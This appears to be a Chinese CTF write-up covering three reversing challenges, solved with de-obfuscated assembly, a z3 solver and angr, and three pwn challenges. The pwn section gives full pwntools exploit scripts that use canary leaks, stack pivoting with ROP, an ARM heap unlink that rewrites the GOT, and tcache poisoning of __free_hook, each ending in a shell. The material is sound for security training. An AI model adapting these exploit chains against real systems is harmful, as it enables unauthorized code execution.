Reverse
nop
程序逻辑并不复杂,就是反调试有点多
程序要求输入一个32位整数 tmp
接下来的程序逻辑被混淆了,为了便于理解程序逻辑,进行去花操作。
.text:0804869C lea ecx, [esp+4]
.text:080486A0 and esp, 0FFFFFFF0h
.text:080486A3 push dword ptr [ecx-4]
.text:080486A6 push ebp
.text:080486A7 mov ebp, esp
.text:080486A9 push ecx
.text:080486AA sub esp, 4
.text:080486AD mov eax, ecx
.text:080486AF mov eax, [eax+4]
.text:080486B2 mov eax, [eax]
.text:080486B4 sub esp, 0Ch
.text:080486B7 push eax ; s1
.text:080486B8 call sub_804865B
.text:080486BD add esp, 10h
.text:080486C0 sub esp, 0Ch
.text:080486C3 push offset s ; "input your flag"
.text:080486C8 call _puts
.text:080486CD add esp, 10h
.text:080486D0 sub esp, 8
.text:080486D3 push offset tmp
.text:080486D8 push offset aD ; "%d"
.text:080486DD call ___isoc99_scanf
.text:080486E2 add esp, 10h
.text:080486E5 nop
.text:080486E6 nop
.text:080486E7
.text:080486E7 loc_80486E7: ; CODE XREF: main+9D↓j
.text:080486E7 mov eax, ds:tmp
.text:080486EC nop
.text:080486ED nop
.text:080486EE nop
.text:080486EF nop
.text:080486F0 nop
.text:080486F1 inc eax
.text:080486F2 nop
.text:080486F3 nop
.text:080486F4 nop
.text:080486F5 mov ds:tmp, eax
.text:080486FA nop
.text:080486FB nop
.text:080486FC nop
.text:080486FD nop
.text:080486FE nop
.text:080486FF jmp short loc_804870D
.text:08048701 ; ---------------------------------------------------------------------------
.text:08048701
.text:08048701 loc_8048701: ; CODE XREF: main+7B↓j
.text:08048701 mov ds:tmp, eax
.text:08048706 nop
.text:08048707 nop
.text:08048708 nop
.text:08048709 nop
.text:0804870A nop
.text:0804870B jmp short loc_8048727
.text:0804870D ; ---------------------------------------------------------------------------
.text:0804870D
.text:0804870D loc_804870D: ; CODE XREF: main+63↑j
.text:0804870D mov eax, ds:tmp
.text:08048712 inc eax
.text:08048713 nop
.text:08048714 nop
.text:08048715 nop
.text:08048716 nop
.text:08048717 jmp short loc_8048701
.text:08048719 ; ---------------------------------------------------------------------------
.text:08048719 jmp ebx
.text:0804871B ; ---------------------------------------------------------------------------
.text:0804871B
.text:0804871B loc_804871B: ; CODE XREF: main+9A↓j
.text:0804871B mov ds:tmp, eax
.text:08048720 nop
.text:08048721 nop
.text:08048722 nop
.text:08048723 nop
.text:08048724 nop
.text:08048725 jmp short loc_804873B
.text:08048727 ; ---------------------------------------------------------------------------
.text:08048727
.text:08048727 loc_8048727: ; CODE XREF: main+6F↑j
.text:08048727 mov eax, ds:tmp
.text:0804872C nop
.text:0804872D nop
.text:0804872E nop
.text:0804872F nop
.text:08048730 nop
.text:08048731 add eax, 0CCCCCCCCh
.text:08048736 jmp short loc_804871B
.text:08048736 ; ---------------------------------------------------------------------------
.text:08048738 db 90h
.text:08048739 ; ---------------------------------------------------------------------------
.text:08048739 jmp short loc_80486E7
.text:0804873B ; ---------------------------------------------------------------------------
.text:0804873B
.text:0804873B loc_804873B: ; CODE XREF: main+89↑j
.text:0804873B mov eax, ds:tmp
.text:08048740 push offset sub_8048753
.text:08048745 inc eax
.text:08048746 mov ds:tmp, eax
.text:0804874B nop
.text:0804874C nop
.text:0804874D nop
.text:0804874E nop
.text:0804874F nop
.text:08048750 pop ebx
.text:08048751 jmp ebx
.text:08048751 main endp
.text:08048751
.text:08048753
.text:08048753 ; =============== S U B R O U T I N E =======================================
.text:08048753
.text:08048753
.text:08048753 sub_8048753 proc near ; DATA XREF: main+A4↑o
.text:08048753 mov eax, ds:tmp
.text:08048758 call sub_8048691
.text:0804875D inc eax
.text:0804875E call sub_8048691
.text:08048763 nop
.text:08048764 nop
.text:08048765 jmp short loc_8048779
.text:08048767 ; ---------------------------------------------------------------------------
.text:08048767 sub esp, 0Ch
.text:0804876A push offset format ; "Right"
.text:0804876F call _printf
.text:08048774 add esp, 10h
.text:08048777 jmp short loc_8048789
.text:08048779 ; ---------------------------------------------------------------------------
会发现,对这个整数的操作仅限于
inc eax;
add eax, 0CCCCCCCCh;
https://blog.csdn.net/duguteng/article/details/7552774
查看其他函数,这些函数全部都是系统中断,查表可得这些系统中断对该程序的逻辑并没有任何贡献。
其中有一个单步中断(中断号为1)相当于反调试。
全部nop掉即可,不会影响程序逻辑。
最后程序进行了两次smc,将 tmp 对应的地址 nop 掉。
而后面check部分并没有对flag作任何的检测,而是直接跳转到了错误分支。
这时候程序的目的就很清晰了:通过nop两个字节来使程序输出 "right",所以让tmp进行加法操作后等于 0x08048765 即可 。
所以答案应该是 858993457 + 0x8048765 == 993507990
manage_code
这是一个用 .NET 编写的程序,用dnSpy打开,转到入口点:
点进去查看具体逻辑,发现无法打开,因为这个函数是 manage_code,类似于java中的 native 方法,只能通过 ida 对函数进行寻找并且分析。
用 ida32 打开,不要勾选.net的打开方式,发现如下函数:
这是一个 ascii_to_hex 的函数,判断依据是其中的 sub_5C23F0:
因为程序涉及到 flag 的输入以及处理,所以有理由怀疑这个函数被主逻辑调用,查看xref,发现只有一处调用:
接下来进行动态调试,会发现这个 ascii_to_hex 函数确实处理了我们刚刚输入的flag
下一个内存断点,发现一大堆 imul 开头的汇编,其实就是方程组,创建function,f5,用 z3 一把梭
from z3 import *
a1 = [Int(f'v{i}') for i in range(16)]
s = Solver()
v1 = 1
v2 = a1[0]
v3 = a1[1]
v33 = a1[0]
v32 = a1[1]
v4 = a1[2]
v29 = a1[2]
v31 = a1[3]
v5 = -497749 * v3
v6 = a1[4]
v7 = a1[5]
v30 = a1[4]
v27 = a1[5]
v8 = 515772 * v6
v9 = v1
v28 = a1[6]
v10 = a1[7]
v26 = a1[7]
v11 = a1[8]
v25 = v11
v12 = a1[9]
v24 = v12
v13 = v9
v14 = a1[10]
v23 = v14
v15 = v13
v16 = a1[11]
v21 = v16
v17 = a1[12]
v22 = v17
v18 = a1[13]
v19 = a1[14]
s.add(460546 * v2 == 99477936)
s.add(75614 * v2 - 213913 * v3 == -994329)
s.add(382637 * v33 + 31336 * v3 + 296328 * v4 == 156899184)
s.add(357061 * v4 + v5 - 410457 * v31 - 393122 * v33 == -46621942)
s.add(91311 * v33 + 304194 * v31 - 498545 * v32 - 323650 * v6 - 191881 * v4 == -123778935)
s.add(310740 * v7 + v8 + 519928 * v32 + 356904 * v31 + 36469 * v4 - 117296 * v33 == 200602442)
s.add(
-185766 * v32 - 385459 * v28 + 65809 * v31 + -9619 * v30 - 503044 * v7 + 147844 * v29 + 214560 * v33 == -100594213)
s.add(
191847 * v28 + 168750 * v30 - 428788 * v29 + -350049 * v7 - 91272 * v10 - 480308 * v31 - 415629 * v32 - 382456 * v33 == -256639537)
s.add(
217101 * v33 + 189453 * v30 + 390490 * v27 + 227637 * v28 + 1900 * v10 + -80034 * v31 - 378617 * v29 - 134963 * v11 - 165486 * v32 == 88334294)
s.add(-156918 * v30
- 446993 * v11
+ 448484 * v12
+ -33989 * v33
- 295696 * v29
+ 272888 * v31
+ 433082 * v26
+ 41849 * v27
+ 508491 * v32
- 11788 * v28 == 60547820)
s.add(280202 * v27
+ 88175 * v33
+ 386118 * v29
+ 387255 * v30
+ 418801 * v28
+ 488085 * v26
+ 394861 * v31
+ 191672 * v14
+ 74629 * v25
- 201834 * v12
- 297603 * v32 == 350819495)
s.add(83433 * v31
+ 44972 * v24
+ 447658 * v33
+ 440243 * v16
+ 295372 * v28
+ 208178 * v25
- 440673 * v27
- 506925 * v32
- 36698 * v29
- 316976 * v26
- 308787 * v14
- 279551 * v30 == -75128689)
s.add(-511422 * v26
- 509708 * v25
- 434779 * v17
+ 91090 * v32
+ 231653 * v23
+ 201793 * v24
+ 110284 * v31
- 470983 * v28
+ -137592 * v27
- 228393 * v16
- 255956 * v30
- 323170 * v33
- 256545 * v29 == -310505629)
s.add(448743 * v32
+ 503101 * v21
+ 220227 * v28
+ -128561 * v33
- 391950 * v29
+ 487983 * v27
+ 88192 * v17
+ -201446 * v30
- 424031 * v23
- 488181 * v24
+ 429280 * v26
+ 371669 * v31
+ 44191 * v25
- 103645 * v18 == -64595853)
s.add(105894 * v18
+ 285526 * v29
+ -207554 * v22
- 92067 * v30
+ 257078 * v31
+ 448481 * v25
+ 442776 * v19
+ 515287 * v21
+ 428015 * v28
+ 104376 * v32
+ 399959 * v33
+ 363233 * v26
- 335619 * v24
- 191469 * v23
- 425094 * v27 == 201396633)
s.add(18237 * v31
+ 90641 * v33
+ 90326 * v28
+ 281146 * v21
+ 508381 * v18
+ -385408 * v19
- 9278 * v29
- 258181 * v26
+ 372092 * v32
+ 136711 * v25
+ 76470 * v30
+ 136397 * v24
+ -470805 * v27
- 82856 * a1[15]
- 266310 * v23
- 83712 * v22 == 40707755)
if s.check() == sat:
print("good!")
m = s.model()
for idx, ai in enumerate(a1):
print(hex(m[ai].as_long())[2:], end = "")
if idx in (2, 5, 8):
print('-', end="")
else:
print("boom!")
rev
用ROP链串起来的程序,如果挨个进行动态调试,调个几次应该也能分析出程序的逻辑。
不过我在网上发现了用 angr 进行解题的方法,这里记录一下。
import angr,claripy
# 导入项目
project = angr.Project("rev_v2")
# 利用符号求解引擎 claripy 对flag进行求解
argv1 = claripy.BVS("argv1",100*8)
# 接着创建一个状态(并指定输入参数),默认就是程序的入口地址,也可以指定一个地址作为入口地址
initial_state = project.factory.entry_state(args=["./rev_v2",argv1])
# 创建一个模拟器用于执行程序
simulation = project.factory.simgr(initial_state)
# 指定程序的目标
simulation.explore(find=0x400481)
# 输出结果
found = simulation.found[0]
solution = found.solver.eval(argv1, cast_to=bytes)
print(repr(solution))
solution = solution[:solution.find(b"\x00")]
print(solution)
angr 是一个自动化解题框架,对于逻辑简单,或者线性的题目可以一把梭,不过过于依赖它不太利于逆向的学习,所以angr只能作为一个辅助工具使用。
更多关于 angr 解题技巧的博客:
http://www.starssgo.top/2020/06/22/angr%E5%88%9D%E6%8E%A2/
https://blog.csdn.net/qq_33438733/article/details/80276628
https://xz.aliyun.com/t/4353
https://blog.csdn.net/qq_35713009/article/details/89766154
https://docs.angr.io/
Pwn
twice
程序逻辑比较简单,就是一个echo程序,只能执行两次echo,第一次能够输入80+9个字节,第二次能够输入80+33个字节。
也就是第一次泄露 canary,第二次可以构造ROP链。
考虑到 s 的长度为88个字节,所以除去 fake_rbp,第二次构造的ROP链最长为 16字节(两条),而前面 s 的位置正好可以用来进行 ROP,考虑进行栈迁移。
栈 |
---|
s (88字节) |
canary |
rbp |
ret_addr |
第一次echo的时候,程序泄露了canary,同时也泄露了rbp,通过偏移我们可以计算到 s 所处的地址。
第二次echo的时候,便可以将ROP链写到s中,而在ret_addr处执行栈迁移代码,这样栈迁移就完成了。
后面还涉及到读取 puts_addr 的问题,所以还需要再次调用 main 函数,再走一次栈迁移的流程,便可以构造ROP链进行 getshell 了。
注意:由于栈迁移以及ROP,rbp会发生改变,所以每次进行栈迁移之前都需要修正偏移量
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'DEBUG'
p = process('./pwn')
#p = remote('121.36.59.116', 9999)
elf = ELF('./pwn')
pop_rdi_ret = 0x0000000000400923
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x40087B
leave_ret = 0x0000000000400879
one_gadget = 0x45216
p.sendlineafter('>', 'a'*0x58)
p.recv(0x58)
canary = u64('\x00' + p.recv(8)[1:])
real_rbp = u64(p.recv(8)[:-2] + '\x00\x00')
s_addr = real_rbp + (0x7ffea3593cf0-0x7ffea3593d60)
s_addr -= 0x8 # because I called main and push another rbp
success('canary:'+hex(canary))
success('rbp:'+hex(real_rbp))
success('s_addr:'+hex(s_addr))
payload1 = 'b'*0x58 + p64(canary) + 'fake_rbp' + p64(main_addr)
p.send(payload1)
p.sendafter('>', "fuckyou")
pay = 'fake_rbp' + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload2 = pay + 'c'*(0x58-len(pay)) + p64(canary)
payload2 += p64(s_addr) #fake_rbp
payload2 += p64(leave_ret)
p.sendafter('>', payload2)
p.recvuntil('\n')
puts_addr = u64(p.recv(6) + '\x00\x00')
success('puts_addr:' + hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
success('libc_base:'+hex(libc_base))
#gdb.attach(p)
s_addr -= 0x50
p.sendafter('>', "fuckyou")
pay = 'fake_rbp' + p64(one_gadget + libc_base)
payload3 = pay + 'c'*(0x58-len(pay)) + p64(canary)
payload3 += p64(s_addr) #fake_rbp
payload3 += p64(leave_ret)
p.sendafter('>', payload3)
p.interactive()
pwn_me
arm32架构的pwn,这道题难点并不在思路本身,而是在于对arm架构的调试上。
调试脚本
首先调试软件必须使用 gdb-multiarch
,这导致我们 pwntools 不能使用 gdb.attach 附加进程,这里可以使用我的脚本一键打开新的窗口并且附加进程,只需提前设置好程序的入口点即可:
from pwn import *
context.log_level = 'debug'
context.arch = 'arm'
p = process(['qemu-arm','-L','.','-g','1234','./a.out'])
def gdb_attach(bp):
os.system('gnome-terminal -e \"gdb-multiarch -ex \'set architecture arm\' -ex \'target remote localhost:1234\' -ex \'b *{}\' -ex \'c\'\"'. format(hex(bp)))
gdb_attach(0x10b3c)
调试技巧
其次是调试技巧,由于gdb对arm架构的汇编处理有问题,特别是对 bl
汇编的处理,bl
在x86平台的汇编类似于 call
,它的本意是调用某个函数并返回,而gdb碰到这条语句无法步过(step over),只能步进(step in)。
所以我们只能先进入该函数,然后使用 finish
命令(跳出当前函数,返回上一个调用栈的位置),这样就能快速跳过一些不需要关心的函数。
思路
这道题就是一个简单的菜单题。change函数没有对新的字符串的大小进行检测。本来我准备使用 fastbin attack,却发现这里面的堆块 free 掉之后,出现了奇怪的fd,不知道原因是啥。
这题可以进行unlink,造成任意地址写。
不过要注意,利用 free smallbin 来泄露 libc 地址是不可行的,好像偏移有一些问题,不能直接使用该泄露的地址。所以我将某个指针改为了 puts_got,才算对了 libc_base。
相关资料
gdb调试相关指令: https://ivanzz1001.github.io/records/post/cplusplus/2018/08/18/cpluscplus-gdbusage_part1
exp
from pwn import *
context.log_level = 'debug'
context.arch = 'arm'
#p = process(['qemu-arm','-L','.','-g','1234','./a.out'])
p = process(['qemu-arm','-L','.','./a.out'])
elf = ELF('./a.out')
libc = ELF('./lib/libuClibc-1.0.34.so')
def show():
p.sendafter('>>> ', '1')
def add(length, tag):
p.sendafter('>>> ', '2')
p.sendafter('Length:', str(length))
p.sendafter('Tag:', tag)
def change(idx, length, tag):
p.sendafter('>>> ', '3')
p.sendafter('Index:', str(idx))
p.sendafter('Length:', str(length))
p.sendafter('Tag:', tag)
def remove(tag):
p.sendafter('>>> ', '4')
p.sendafter('Tag:', str(tag))
def gdb_attach(bp):
os.system('gnome-terminal -e \"gdb-multiarch -ex \'set architecture arm\' -ex \'target remote localhost:1234\' -ex \'b *{}\' -ex \'c\'\"'. format(hex(bp)))
#gdb_attach(0x10b3c)
add(0x10, 0x10*'0')
add(0x80, 0x80*'1')
add(0x10, 0x10*'2')
add(0x10, 0x10*'3')
change(3, 10, '/bin/sh\x00')
target = 0x002106c
# unlink
payload1 = p32(0) + p32(0x11) + p32(target-0x4*3) + p32(target-0x4*2) + p32(0x10) + p32(0x88)
change(0, len(payload1), payload1)
remove(1)
# change pointers
payload2 = 'f'*0x8 + p32(0x10) + p32(0x021060) + p32(0x80) + p32(elf.got['puts']) + p32(0x10) + p32(0x220b8)
change(0, len(payload2), payload2)
# leak puts_got
show()
p.recvuntil('1 : ')
rev = u32(p.recv(4))
success('recv:'+hex(rev))
libc_base = rev - libc.symbols['puts']
success('libc_base:' + hex(libc_base))
# change free_got into system_addr
payload3 = 'f'*0x8 + p32(0x10) + p32(elf.got['free'])
change(0, len(payload3), payload3)
system_addr = libc_base + libc.symbols['system']
success('system_addr:' + hex(system_addr))
change(0, 6, p32(system_addr))
# call system('/bin/sh')
remove(3)
p.interactive()
of
服务器的二进制文件和给出的不同,服务器直接简化了题目,生成的随机数永远为0,这样就很容易利用tcache attack对got表进行修改了。
from pwn import *
r = remote('121.36.74.70',9999)
#r = process('./of')
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
rn = lambda n : r.recv(n)
ra = lambda : r.recv()
ru = lambda s : r.recvuntil(s)
rl = lambda : r.recvline()
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
def add(idx):
ru("Your choice: ")
sl("1")
ru("Index: ")
sl(str(idx))
def edit(idx,content):
ru("Your choice: ")
sl("2")
ru("Index: ")
sl(str(idx))
ru("Content: ")
sd(content)
def show(idx):
ru("Your choice: ")
sl("3")
ru("Index: ")
sl(str(idx))
def free(idx):
ru("Your choice: ")
sl("4")
ru("Index: ")
sl(str(idx))
for i in range(8):
add(i)
for i in range(7):
free(i)
free(0)
show(0)
ru("Content: ")
lib = u64(rn(8)) - 0x7fe55589cca0 + 0x7fe5554b1000
print(hex(lib))
free_hook = lib+0x7f49ccb058e8-0x7f49cc718000
system = lib+0x7f49cc767440-0x7f49cc718000
add(0)
free(0)
edit(0,p64(free_hook))
add(1)
add(2)
edit(1,b'/bin/sh\x00')
edit(2,p64(system))
free(1)
r.interactive()